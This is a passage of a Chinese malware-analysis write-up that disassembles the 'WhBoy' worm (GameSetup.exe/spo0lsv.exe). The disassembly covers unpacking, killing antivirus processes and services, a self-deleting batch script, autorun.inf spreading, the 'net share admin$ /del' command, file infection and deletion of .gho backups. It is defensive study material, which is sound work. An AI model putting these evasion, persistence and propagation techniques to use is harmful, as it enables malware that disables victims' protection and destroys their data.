00407FDE B8 5C814000 mov eax,GameSetu.0040815C ; ASCII "WhBoy"
...
00408031 E8 B6CAFFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
2.7.2 脚本类(后缀名为:htm,html,asp,php,jsp,aspx):
在这些脚本文件尾加上网站链接.
00409EFB E8 CCDAFFFF call GameSetu.004079CC
004079FF BA F47A4000 mov edx,dumped_.00407AF4 ; ASCII "Search"
00407A04 B8 047B4000 mov eax,dumped_.00407B04 ; ASCII "=nb{end''w{g>ispy>,.ps~*bb?2''gm.12&mmeb|''lwl''s``wi:&9&#ibmnlw<%4+:?.nb{end9"
00407A09 E8 42D8FFFF call dumped_.00405250 ; 解密
根据字符串结合loveboom的文章进行了深入的学习.
不敢独享,分享如下.
GameSetup.exe
1.脱壳:
FSG 2.0 -> bart/xt
Borland Delphi 6.0 - 7.0
ep:
00400154 G> 8725 F4D24100 xchg dword ptr ds:[41D2F4],esp
0040015A 61 popad
0040015B 94 xchg eax,esp
0040015C 55 push ebp
0040015D A4 movs byte ptr es:[edi],byte ptr ds:[e>
0040015E B6 80 mov dh,80
00400160 FF13 call dword ptr ds:[ebx]
00400162 ^ 73 F9 jnb short GameSetu.0040015D
...
004001CC 40 inc eax
004001CD ^ 78 F3 js short GameSetu.004001C2
004001CF 75 03 jnz short GameSetu.004001D4
004001D1 - FF63 0C jmp dword ptr ds:[ebx+C] ; GameSetu.0040D278 ,OEP
004001D4 50 push eax
004001D5 55 push ebp
004001D6 FF53 14 call dword ptr ds:[ebx+14]
004001D9 AB stos dword ptr es:[edi]
004001DA ^ EB EE jmp short GameSetu.004001CA
OEP:
0040D278 55 push ebp ; URLMON.702B0000
0040D279 8BEC mov ebp,esp
0040D27B 83C4 E8 add esp,-18
0040D27E 53 push ebx
0040D27F 56 push esi
0040D280 33C0 xor eax,eax
0040D282 8945 E8 mov dword ptr ss:[ebp-18],eax
0040D285 8945 EC mov dword ptr ss:[ebp-14],eax
0040D288 B8 C8D14000 mov eax,GameSetu.0040D1C8
0040D28D E8 5677FFFF call GameSetu.004049E8
文本字符串参考位于 GameSetu:
地址 反汇编 文本字符串
0040626A mov eax,GameSetu.004069D8 ASCII "VirusScan"
00406296 mov eax,GameSetu.004069EC ASCII "NOD32"
004064B0 mov eax,GameSetu.00406AB4 ASCII "Symantec AntiVirus"
004064E2 mov eax,GameSetu.00406AD0 ASCII "Duba"
00406514 mov eax,GameSetu.00406AE0 ASCII "esteem procs"
0040660E mov eax,GameSetu.00406B44 ASCII "System Safety Monitor"
00406640 mov eax,GameSetu.00406B64 ASCII "Wrapped gift Killer"
00406672 mov eax,GameSetu.00406B80 ASCII "Winsock Expert"
0040670E push GameSetu.00406BC0 ASCII "msctls_statusbar32"
00406748 mov eax,GameSetu.00406BDC ASCII "pjf(ustc)"
004067E4 push GameSetu.00406BE8 ASCII "IceSword"
00406826 mov eax,GameSetu.00406BFC ASCII "Mcshield.exe"
00406830 mov eax,GameSetu.00406C14 ASCII "VsTskMgr.exe"
0040683A mov eax,GameSetu.00406C2C ASCII "naPrdMgr.exe"
00406844 mov eax,GameSetu.00406C44 ASCII "UpdaterUI.exe"
0040684E mov eax,GameSetu.00406C5C ASCII "TBMon.exe"
00406858 mov eax,GameSetu.00406C70 ASCII "scan32.exe"
00406862 mov eax,GameSetu.00406C84 ASCII "Ravmond.exe"
0040686C mov eax,GameSetu.00406C98 ASCII "CCenter.exe"
00406876 mov eax,GameSetu.00406CAC ASCII "RavTask.exe"
00406880 mov eax,GameSetu.00406CC0 ASCII "Rav.exe"
0040688A mov eax,GameSetu.00406CD0 ASCII "Ravmon.exe"
00406894 mov eax,GameSetu.00406CE4 ASCII "RavmonD.exe"
0040689E mov eax,GameSetu.00406CF8 ASCII "RavStub.exe"
004068A8 mov eax,GameSetu.00406D0C ASCII "KVXP.kxp"
004068B2 mov eax,GameSetu.00406D20 ASCII "KvMonXP.kxp"
004068BC mov eax,GameSetu.00406D34 ASCII "KVCenter.kxp"
004068C6 mov eax,GameSetu.00406D4C ASCII "KVSrvXP.exe"
004068D0 mov eax,GameSetu.00406D60 ASCII "KRegEx.exe"
004068DA mov eax,GameSetu.00406D74 ASCII "UIHost.exe"
004068E4 mov eax,GameSetu.00406D88 ASCII "TrojDie.kxp"
004068EE mov eax,GameSetu.00406D9C ASCII "FrogAgent.exe"
004068F8 mov eax,GameSetu.00406D0C ASCII "KVXP.kxp"
00406902 mov eax,GameSetu.00406D20 ASCII "KvMonXP.kxp"
0040690C mov eax,GameSetu.00406D34 ASCII "KVCenter.kxp"
00406916 mov eax,GameSetu.00406D4C ASCII "KVSrvXP.exe"
00406920 mov eax,GameSetu.00406D60 ASCII "KRegEx.exe"
0040692A mov eax,GameSetu.00406D74 ASCII "UIHost.exe"
00406934 mov eax,GameSetu.00406D88 ASCII "TrojDie.kxp"
0040693E mov eax,GameSetu.00406D9C ASCII "FrogAgent.exe"
00406948 mov eax,GameSetu.00406DB4 ASCII "Logo1_.exe"
00406952 mov eax,GameSetu.00406DC8 ASCII "Logo_1.exe"
0040695C mov eax,GameSetu.00406DDC ASCII "Rundl132.exe"
00406966 mov eax,GameSetu.00406DF4 ASCII "regedit.exe"
00406970 mov eax,GameSetu.00406E08 ASCII "msconfig.exe"
0040697A mov eax,GameSetu.00406E20 ASCII "taskmgr.exe"
00406E44 mov eax,GameSetu.00407014 ASCII "Schedule"
00406E4E mov eax,GameSetu.00407028 ASCII "sharedaccess"
00406E58 mov eax,GameSetu.00407040 ASCII "RsCCenter"
00406E62 mov eax,GameSetu.00407054 ASCII "RsRavMon"
00406E6C mov eax,GameSetu.00407060 ASCII "RsCCenter"
00406E76 mov eax,GameSetu.0040706C ASCII "RsRavMon"
00406E80 mov edx,GameSetu.00407080 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
00406E8F mov eax,GameSetu.004070C0 ASCII "KVWSC"
00406E99 mov eax,GameSetu.004070D0 ASCII "KVSrvXP"
00406EA3 mov eax,GameSetu.004070D8 ASCII "KVWSC"
00406EAD mov eax,GameSetu.004070E0 ASCII "KVSrvXP"
00406EB7 mov edx,GameSetu.004070F0 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
00406EC6 mov eax,GameSetu.00407130 ASCII "kavsvc"
00406ED0 mov eax,GameSetu.00407140 ASCII "AVP"
00406EDA mov eax,GameSetu.00407144 ASCII "AVP"
00406EE4 mov eax,GameSetu.00407148 ASCII "kavsvc"
00406EEE mov edx,GameSetu.00407158 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
00406EFD mov edx,GameSetu.00407194 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50"
00406F0C mov eax,GameSetu.004071D8 ASCII "McAfeeFramework"
00406F16 mov eax,GameSetu.004071F0 ASCII "McShield"
00406F20 mov eax,GameSetu.00407204 ASCII "McTaskManager"
00406F2A mov eax,GameSetu.00407214 ASCII "McAfeeFramework"
00406F34 mov eax,GameSetu.00407224 ASCII "McShield"
00406F3E mov eax,GameSetu.00407230 ASCII "McTaskManager"
00406F48 mov edx,GameSetu.00407248 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
00406F57 mov edx,GameSetu.00407290 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service"
00406F66 mov edx,GameSetu.004072F4 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE"
00406F75 mov eax,GameSetu.0040732C ASCII "navapsvc"
00406F7F mov eax,GameSetu.00407338 ASCII "wscsvc"
00406F89 mov eax,GameSetu.00407340 ASCII "KPfwSvc"
00406F93 mov eax,GameSetu.00407348 ASCII "SNDSrvc"
00406F9D mov eax,GameSetu.00407350 ASCII "ccProxy"
00406FA7 mov eax,GameSetu.00407358 ASCII "ccEvtMgr"
00406FB1 mov eax,GameSetu.00407364 ASCII "ccSetMgr"
00406FBB mov eax,GameSetu.00407370 ASCII "SPBBCSvc"
00406FC5 mov eax,GameSetu.0040737C ASCII "Symantec Core LC"
00406FCF mov eax,GameSetu.00407390 ASCII "NPFMntor"
00406FD9 mov eax,GameSetu.0040739C ASCII "MskService"
00406FE3 mov eax,GameSetu.004073A8 ASCII "FireSvc"
00406FED mov edx,GameSetu.004073B8 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe"
00406FFC mov edx,GameSetu.004073F8 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
004075D5 mov ecx,GameSetu.0040764C ASCII ":\"
004079FF mov edx,GameSetu.00407AF4 ASCII "Search"
00407A04 mov eax,GameSetu.00407B04 ASCII "=nb{end''w{g>ispy>,.ps~*bb?2''gm.12&mmeb|''lwl''s``wi:&9&#ibmnlw<%4+:?.nb{end9"
00407BB6 push GameSetu.00407E44 ASCII "$$.bat"
00407BEE mov edx,GameSetu.00407E54 ASCII ":try1"
00407C08 push GameSetu.00407E64 ASCII "del ""
00407C50 push GameSetu.00407E80 ASCII "if exist ""
00407C6D push GameSetu.00407E94 ASCII " goto try1"
00407C9D push GameSetu.00407EA8 ASCII "ren ""
00407CB5 push GameSetu.00407EB8 ASCII ".exe"
00407D1D push GameSetu.00407E80 ASCII "if exist ""
00407D35 push GameSetu.00407EB8 ASCII ".exe"
00407D3F push GameSetu.00407ED4 ASCII " goto try2"
00407DB7 mov edx,GameSetu.00407EE8 ASCII ":try2"
00407DD1 mov edx,GameSetu.00407EF8 ASCII "del %0"
00407FDE mov eax,GameSetu.0040815C ASCII "WhBoy"
00408060 push GameSetu.0040817C ASCII ".exe"
004081E1 mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
00408227 mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
0040826D mov edx,GameSetu.00408798 ASCII "Desktop_.ini"
00408329 push GameSetu.004087B0 ASCII "drivers\"
0040832E push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408366 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
00408370 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
00408390 push GameSetu.004087B0 ASCII "drivers\"
00408395 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004083D5 push GameSetu.004087B0 ASCII "drivers\"
004083DA push GameSetu.004087C4 ASCII "spo0lsv.exe"
0040842C push GameSetu.004087B0 ASCII "drivers\"
00408431 push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408589 mov eax,GameSetu.004087C4 ASCII "spo0lsv.exe"
004085B1 push GameSetu.004087B0 ASCII "drivers\"
004085B6 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004085F4 push GameSetu.004087B0 ASCII "drivers\"
004085F9 push GameSetu.004087C4 ASCII "spo0lsv.exe"
0040867D push GameSetu.004087B0 ASCII "drivers\"
00408682 push GameSetu.004087C4 ASCII "spo0lsv.exe"
004086FB push GameSetu.004087B0 ASCII "drivers\"
00408700 push GameSetu.004087C4 ASCII "spo0lsv.exe"
00408858 mov ecx,GameSetu.00409130 ASCII "*.*"
004088AA mov eax,GameSetu.0040913C ASCII "WINDOWS"
004088E4 mov eax,GameSetu.0040914C ASCII "WINNT"
0040891E mov eax,GameSetu.0040915C ASCII "system32"
00408958 mov eax,GameSetu.00409170 ASCII "Documents and Settings"
00408992 mov eax,GameSetu.00409190 ASCII "System Volume Information"
004089CC mov eax,GameSetu.004091B4 ASCII "Recycled"
00408A06 mov eax,GameSetu.004091C8 ASCII "Windows NT"
00408A40 mov eax,GameSetu.004091DC ASCII "WindowsUpdate"
00408A7A mov eax,GameSetu.004091F4 ASCII "Windows Media Player"
00408AB4 mov eax,GameSetu.00409214 ASCII "Outlook Express"
00408AEE mov eax,GameSetu.0040922C ASCII "Internet Explorer"
00408B28 mov eax,GameSetu.00409248 ASCII "NetMeeting"
00408B62 mov eax,GameSetu.0040925C ASCII "Common Files"
00408B9C mov eax,GameSetu.00409274 ASCII "ComPlus Applications"
00408BD6 mov eax,GameSetu.0040925C ASCII "Common Files"
00408C10 mov eax,GameSetu.00409294 ASCII "Messenger"
00408C4A mov eax,GameSetu.004092A8 ASCII "InstallShield Installation Information"
00408C84 mov eax,GameSetu.004092D8 ASCII "MSN"
00408CBE mov eax,GameSetu.004092E4 ASCII "Microsoft Frontpage"
00408CF8 mov eax,GameSetu.00409300 ASCII "Movie Maker"
00408D32 mov eax,GameSetu.00409314 ASCII "MSN Gamin Zone"
00408D6F push GameSetu.0040932C ASCII "\Desktop_.ini"
00408DA0 push GameSetu.0040932C ASCII "\Desktop_.ini"
00408E6D push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F0E push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F3C push GameSetu.0040932C ASCII "\Desktop_.ini"
00408F7C push GameSetu.0040932C ASCII "\Desktop_.ini"
0040901D push GameSetu.0040932C ASCII "\Desktop_.ini"
0040904B push GameSetu.0040932C ASCII "\Desktop_.ini"
004093B8 mov ecx,GameSetu.0040A1BC ASCII "*.*"
0040940A mov eax,GameSetu.0040A1C8 ASCII "WINDOWS"
00409444 mov eax,GameSetu.0040A1D8 ASCII "WINNT"
0040947E mov eax,GameSetu.0040A1E8 ASCII "system32"
004094B8 mov eax,GameSetu.0040A1FC ASCII "Documents and Settings"
004094F2 mov eax,GameSetu.0040A21C ASCII "System Volume Information"
0040952C mov eax,GameSetu.0040A240 ASCII "Recycled"
00409566 mov eax,GameSetu.0040A254 ASCII "Windows NT"
004095A0 mov eax,GameSetu.0040A268 ASCII "WindowsUpdate"
004095DA mov eax,GameSetu.0040A280 ASCII "Windows Media Player"
00409614 mov eax,GameSetu.0040A2A0 ASCII "Outlook Express"
0040964E mov eax,GameSetu.0040A2B8 ASCII "Internet Explorer"
00409688 mov eax,GameSetu.0040A2D4 ASCII "NetMeeting"
004096C2 mov eax,GameSetu.0040A2E8 ASCII "Common Files"
004096FC mov eax,GameSetu.0040A300 ASCII "ComPlus Applications"
00409736 mov eax,GameSetu.0040A2E8 ASCII "Common Files"
00409770 mov eax,GameSetu.0040A320 ASCII "Messenger"
004097AA mov eax,GameSetu.0040A334 ASCII "InstallShield Installation Information"
004097E4 mov eax,GameSetu.0040A364 ASCII "MSN"
0040981E mov eax,GameSetu.0040A370 ASCII "Microsoft Frontpage"
00409858 mov eax,GameSetu.0040A38C ASCII "Movie Maker"
00409892 mov eax,GameSetu.0040A3A0 ASCII "MSN Gamin Zone"
004098CF push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409900 push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
004099CD push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409A6E push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409A9C push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409ADC push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409B7D push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409BAB push GameSetu.0040A3B8 ASCII "\Desktop_.ini"
00409C33 mov edx,GameSetu.0040A3DC ASCII "GHO"
00409C94 mov eax,GameSetu.0040A3E8 ASCII "setup.exe"
00409CCE mov eax,GameSetu.0040A3FC ASCII "NTDETECT.COM"
00409D31 mov eax,GameSetu.0040A414 ASCII "EXE"
00409D97 mov eax,GameSetu.0040A420 ASCII "SCR"
00409DFD mov eax,GameSetu.0040A42C ASCII "PIF"
00409E63 mov eax,GameSetu.0040A438 ASCII "COM"
00409EC9 mov eax,GameSetu.0040A444 ASCII "htm"
00409F2F mov eax,GameSetu.0040A450 ASCII "html"
00409F95 mov eax,GameSetu.0040A460 ASCII "asp"
00409FFB mov eax,GameSetu.0040A46C ASCII "php"
0040A061 mov eax,GameSetu.0040A478 ASCII "jsp"
0040A0C7 mov eax,GameSetu.0040A484 ASCII "aspx"
0040A544 mov edx,GameSetu.0040A5AC ASCII ":\"
0040AA73 push GameSetu.0040AD64 ASCII "GameSetup.exe"
0040AA99 push GameSetu.0040AD7C ASCII "drivers\"
0040AA9E push GameSetu.0040AD90 ASCII "spo0lsv.exe"
0040AB44 push GameSetu.0040AD64 ASCII "GameSetup.exe"
0040AC6B mov eax,GameSetu.0040ADA4 ASCII "admin$"
0040B913 mov edx,GameSetu.0040BA14 ASCII "\\"
0040B9AB mov edx,GameSetu.0040BA14 ASCII "\\"
0040BA25 push GameSetu.0040BA68 ASCII "NetShareEnum"
0040BA35 push GameSetu.0040BA78 ASCII "NetApiBufferFree"
0040BA45 push GameSetu.0040BA68 ASCII "NetShareEnum"
0040BCB9 mov ecx,GameSetu.0040BD30 ASCII ":\"
0040BF9F mov ecx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040BFC4 mov ecx,GameSetu.0040C308 ASCII ":\autorun.inf"
0040C05B mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C0BA mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C11D mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C19A mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C20F mov edx,GameSetu.0040C320 ASCII "[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
"
0040C253 mov edx,GameSetu.0040C2F4 ASCII ":\setup.exe"
0040C528 mov edx,GameSetu.0040C5D8 ASCII "xboy"
0040C60C mov edx,GameSetu.0040C720 ASCII "QQ"
0040C625 push GameSetu.0040C724 ASCII "QQ"
0040C777 mov edx,GameSetu.0040C9A0 ASCII "QQ"
0040C793 mov eax,GameSetu.0040C9AC ASCII "
"
0040C7AC mov eax,GameSetu.0040C9AC ASCII "
"
0040C7CD mov eax,GameSetu.0040C9AC ASCII "
"
0040C9FF mov edx,GameSetu.0040CC24 ASCII "QQ"
0040CA1B mov eax,GameSetu.0040CC30 ASCII "
"
0040CA34 mov eax,GameSetu.0040CC30 ASCII "
"
0040CA55 mov eax,GameSetu.0040CC30 ASCII "
"
0040CE1D push GameSetu.0040CE94 ASCII "cmd.exe /c net share "
0040CE34 push GameSetu.0040CEB4 ASCII "$ /del /y"
0040CE5B push GameSetu.0040CEC0 ASCII "cmd.exe /c net share admin$ /del /y"
0040CF09 push GameSetu.0040CF7C ASCII "drivers\"
0040CF0E push GameSetu.0040CF90 ASCII "spo0lsv.exe"
0040CF29 mov ecx,GameSetu.0040CF9C ASCII "svcshare"
0040CF2E mov edx,GameSetu.0040CFA8 ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040CF3F mov edx,GameSetu.0040CFE0 ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
0040D04E push GameSetu.0040CC34 ASCII "QTj"
0040D0C6 push GameSetu.0040D048 ASCII "QTj"
0040D0DE push GameSetu.00407430 ASCII "QTj"
0040D278 push ebp （初始 CPU 选择）
0040D5D6 mov edx,GameSetu.0040D890 ASCII "xboy"
0040D600 mov edx,GameSetu.0040D8CC ASCII "whboy"
2.静态分析:按字符串参考顺序
2.1 关闭包含字符串的窗口：
建立线程:
00406E2C 51 push ecx
00406E2D 54 push esp
00406E2E 6A 00 push 0
00406E30 6A 00 push 0
00406E32 68 B8614000 push GameSetu.004061B8 ; 执行主体
00406E37 6A 00 push 0
00406E39 6A 00 push 0
00406E3B E8 BCDCFFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
00406E40 5A pop edx
00406E41 C3 retn
用到的函数:
004061E3 E8 2CEAFFFF call GameSetu.00404C14 ; jmp to user32.GetDesktopWindow
004061F0 E8 17EAFFFF call GameSetu.00404C0C ; jmp to user32.FindWindowExA
004061FB E8 24EAFFFF call GameSetu.00404C24 ; jmp to user32.GetWindowTextA
00406227 E8 10EAFFFF call GameSetu.00404C3C ; jmp to user32.PostMessageA
示例过程:
0040648C 6A 00 push 0
0040648E 6A 00 push 0
00406490 6A 12 push 12
00406492 53 push ebx
00406493 E8 A4E7FFFF call <jmp.&user32.PostMessageA>
00406498 8D85 5CFFFFFF lea eax,dword ptr ss:[ebp-A4]
0040649E 8BD6 mov edx,esi
004064A0 B9 65000000 mov ecx,65
004064A5 E8 0ADAFFFF call dumped_.00403EB4
004064AA 8B95 5CFFFFFF mov edx,dword ptr ss:[ebp-A4]
004064B0 B8 B46A4000 mov eax,dumped_.00406AB4 ; ASCII "Symantec AntiVirus"
004064B5 E8 FADCFFFF call dumped_.004041B4
004064BA 85C0 test eax,eax
004064BC 74 0C je short dumped_.004064CA
字符串基本针对杀软,包括:
防火墙;VirusScan;NOD32;网镖;杀毒;毒霸;瑞星;超级兔子;
优化大师;木马清道夫;木馬清道夫;卡巴斯基反病毒;
Symantec AntiVirus;Duba;esteem procs;绿鹰PC;
密码防盗;噬菌体;木马辅助查找器;System Safety Monitor;
Wrapped gift Killer;Winsock Expert;游戏木马检测大师;
超级巡警;IceSword;msctls_statusbar32;pjf(ustc).
2.2 结束进程：
00406826 B8 FC6B4000 mov eax,dumped_.00406BFC ; ASCII "Mcshield.exe"
0040682B E8 94F7FFFF call dumped_.00405FC4
一个个进程枚举比较:
00406091 8B95 C8FEFFFF mov edx,dword ptr ss:[ebp-138]
00406097 58 pop eax
00406098 E8 7BDFFFFF call dumped_.00404018 ; 比较
0040609D 75 12 jnz short dumped_.004060B1 ; 不是继续
0040609F 8B43 08 mov eax,dword ptr ds:[ebx+8]
004060A2 E8 FDFEFFFF call dumped_.00405FA4
004060A7 8BD8 mov ebx,eax
004060A9 56 push esi
004060AA E8 2DEAFFFF call <jmp.&kernel32.CloseHandle> ; 关闭
004060AF EB 1F jmp short dumped_.004060D0
进程包括:
杀软:
Mcshield.exe;VsTskMgr.exe;naPrdMgr.exe;UpdaterUI.exe;TBMon.exe;scan32.exe;
Ravmond.exe;CCenter.exe;RavTask.exe;Rav.exe;Ravmon.exe;RavmonD.exe;RavStub.exe;
KVXP.kxp;KvMonXP.kxp;KVCenter.kxp;KVSrvXP.exe;KRegEx.exe;
UIHost.exe;TrojDie.kxp;FrogAgent.exe;
Viking:
Logo1_.exe;Logo_1.exe;Rundl132.exe;
Windows:
regedit.exe;msconfig.exe;taskmgr.exe.
2.3 关闭或删除服务：
间隔6s尝试关闭或删除服务.
0040D0D9 A3 B8E24000 mov dword ptr ds:[40E2B8],eax
0040D0DE 68 30744000 push GameSetu.00407430 ; ASCII "QTj",执行地址
0040D0E3 68 70170000 push 1770 ; 时间,6000ms
0040D0E8 6A 00 push 0
0040D0EA 6A 00 push 0
0040D0EC E8 537BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
00407430 51 push ecx
00407431 54 push esp
00407432 6A 00 push 0
00407434 6A 00 push 0
00407436 68 446E4000 push GameSetu.00406E44 ; 执行主体
0040743B 6A 00 push 0
0040743D 6A 00 push 0
0040743F E8 B8D6FFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
00407444 5A pop edx
00407445 C3 retn
00406E44 B8 14704000 mov eax,GameSetu.00407014 ; ASCII "Schedule"
00406E49 E8 6EEDFFFF call GameSetu.00405BBC
00405BE6 E8 89FFFFFF call <jmp.&advapi32.OpenSCManagerA>
00405BFC E8 7BFFFFFF call <jmp.&advapi32.OpenServiceA>
00405C0A E8 55FFFFFF call <jmp.&advapi32.ControlService>
00405C10 E8 47FFFFFF call <jmp.&advapi32.CloseServiceHandle>
00405C16 E8 41FFFFFF call <jmp.&advapi32.CloseServiceHandle>
服务基本都是杀软,有:
Schedule;sharedaccess;RsCCenter;
KVWSC;KVSrvXP;kavsvc;AVP;
McAfeeFramework;McShield;McTaskManager;
navapsvc;wscsvc;KPfwSvc;SNDSrvc;
ccProxy;ccEvtMgr;ccSetMgr;
SPBBCSvc;Symantec Core LC;NPFMntor;
MskService;FireSvc;
涉及到的注册表项:
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
2.4 自删除:文件名:数字随机+$$.bat
00407BB6 68 447E4000 push GameSetu.00407E44 ; ASCII "$$.bat"
00407E06 E8 C9CDFFFF call <jmp.&kernel32.WinExec> ; 运行删除
"D:\DOCUME~1\GaoJH\LOCALS~1\Temp\95$$.bat"
:try1
del "E:\GameSetup.exe"
if exist "E:\GameSetup.exe" goto try1
ren "E:\GameSetup.exe.exe" "GameSetup.exe"
if exist "E:\GameSetup.exe.exe" goto try2
"E:\GameSetup.exe"
:try2
del %0
2.5.拷贝病毒到特定文件夹
病毒会将自己复制到%SYSTEM32%DRIVERS目录下文件名为:spo0lsv.exe
判断当前spo0lsv.exe路径是否为:x:\winnt\system32\drivers,如果不是终止进程,拷贝病毒过去并执行:
00408329 68 B0874000 push GameSetu.004087B0 ; ASCII "drivers\"
0040832E 68 C4874000 push GameSetu.004087C4 ; ASCII "spo0lsv.exe"
...
0040836B E8 54DCFFFF call GameSetu.00405FC4 ; 终止进程
004060AA E8 2DEAFFFF call GameSetu.00404ADC ; jmp to KERNEL32.CloseHandle
00408414 E8 D3C6FFFF call GameSetu.00404AEC ; jmp to KERNEL32.CopyFileA
00408452 E8 7DC7FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
2.6 本地磁盘感染
除了盘符为A,B的磁盘;类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘外,
病毒对系统中所有磁盘进行文件遍历感染.感染过的以Desktop_.ini标志.
某些系统文件夹不进行感染;
文件如果有gho扩展名的,删除;不感染文件大小超过10485760字节以上的;
某些文件也不感染.
004093B8 B9 BCA14000 mov ecx,GameSetu.0040A1BC ; ASCII "*.*" ; 所有文件
...
004093E3 8B85 A4FEFFFF mov eax,dword ptr ss:[ebp-15C] ; 循环开始处
004093E9 83E0 10 and eax,10
004093EC 83F8 10 cmp eax,10
004093EF 0F85 07080000 jnz GameSetu.00409BFC
...
00409404 8D95 84FEFFFF lea edx,dword ptr ss:[ebp-17C]
0040940A B8 C8A14000 mov eax,GameSetu.0040A1C8 ; ASCII "WINDOWS",不感染的文件夹名称
0040940F E8 08BEFFFF call GameSetu.0040521C
...
0040942C 8B95 80FEFFFF mov edx,dword ptr ss:[ebp-180]
00409432 58 pop eax
00409433 E8 E0ABFFFF call GameSetu.00404018 ; 是不是要屏蔽感染的文件夹
00409438 0F84 C70C0000 je GameSetu.0040A105 ; 是的话继续循环
...
00409900 68 B8A34000 push GameSetu.0040A3B8 ; ASCII "\Desktop_.ini",是否有感染标志
...
00409C2D 8B85 90FDFFFF mov eax,dword ptr ss:[ebp-270]
00409C33 BA DCA34000 mov edx,GameSetu.0040A3DC ; ASCII "GHO",是否是Gho扩展名
00409C38 E8 DBA3FFFF call GameSetu.00404018
00409C3D 75 25 jnz short GameSetu.00409C64
...
00409C5F E8 A0AEFFFF call GameSetu.00404B04 ; jmp to KERNEL32.DeleteFileA,删除gho文件.
...
00409C78 8B85 84FDFFFF mov eax,dword ptr ss:[ebp-27C]
00409C7E E8 99DCFFFF call GameSetu.0040791C
00409C83 3D 0000A000 cmp eax,0A00000 ; 如果不是gho文件,大于10485760字节的不感染.
00409C88 0F8D 70040000 jge GameSetu.0040A0FE
...
00409C8E 8D95 80FDFFFF lea edx,dword ptr ss:[ebp-280]
00409C94 B8 E8A34000 mov eax,GameSetu.0040A3E8 ; ASCII "setup.exe",不感染的文件
00409C99 E8 7EB5FFFF call GameSetu.0040521C
...
00409CC8 8D95 78FDFFFF lea edx,dword ptr ss:[ebp-288]
00409CCE B8 FCA34000 mov eax,GameSetu.0040A3FC ; ASCII "NTDETECT.COM",不感染的文件
00409CD3 E8 44B5FFFF call GameSetu.0040521C
...
00409D31 B8 14A44000 mov eax,GameSetu.0040A414 ; ASCII "EXE",感染类型
00409D97 B8 20A44000 mov eax,GameSetu.0040A420 ; ASCII "SCR"
00409DFD B8 2CA44000 mov eax,GameSetu.0040A42C ; ASCII "PIF"
00409E63 B8 38A44000 mov eax,GameSetu.0040A438 ; ASCII "COM"
00409EC9 B8 44A44000 mov eax,GameSetu.0040A444 ; ASCII "htm"
00409F2F B8 50A44000 mov eax,GameSetu.0040A450 ; ASCII "html"
00409F95 B8 60A44000 mov eax,GameSetu.0040A460 ; ASCII "asp"
00409FFB B8 6CA44000 mov eax,GameSetu.0040A46C ; ASCII "php"
0040A061 B8 78A44000 mov eax,GameSetu.0040A478 ; ASCII "jsp"
0040A0C7 B8 84A44000 mov eax,GameSetu.0040A484 ; ASCII "aspx"
...
0040A0FE 6A 14 push 14 ; 休息下
0040A100 E8 BFAAFFFF call GameSetu.00404BC4 ; jmp to KERNEL32.Sleep
0040A105 8D85 9CFEFFFF lea eax,dword ptr ss:[ebp-164]
0040A10B E8 70D4FFFF call GameSetu.00407580
0040A110 85C0 test eax,eax
0040A112 ^ 0F84 CBF2FFFF je GameSetu.004093E3 ; 继续循环感染
不感染的目录包括:
WINDOWS;WINNT;system32;Documents and Settings;System Volume Information;
Recycled;Windows NT;WindowsUpdate;Windows Media Player;Outlook Express;
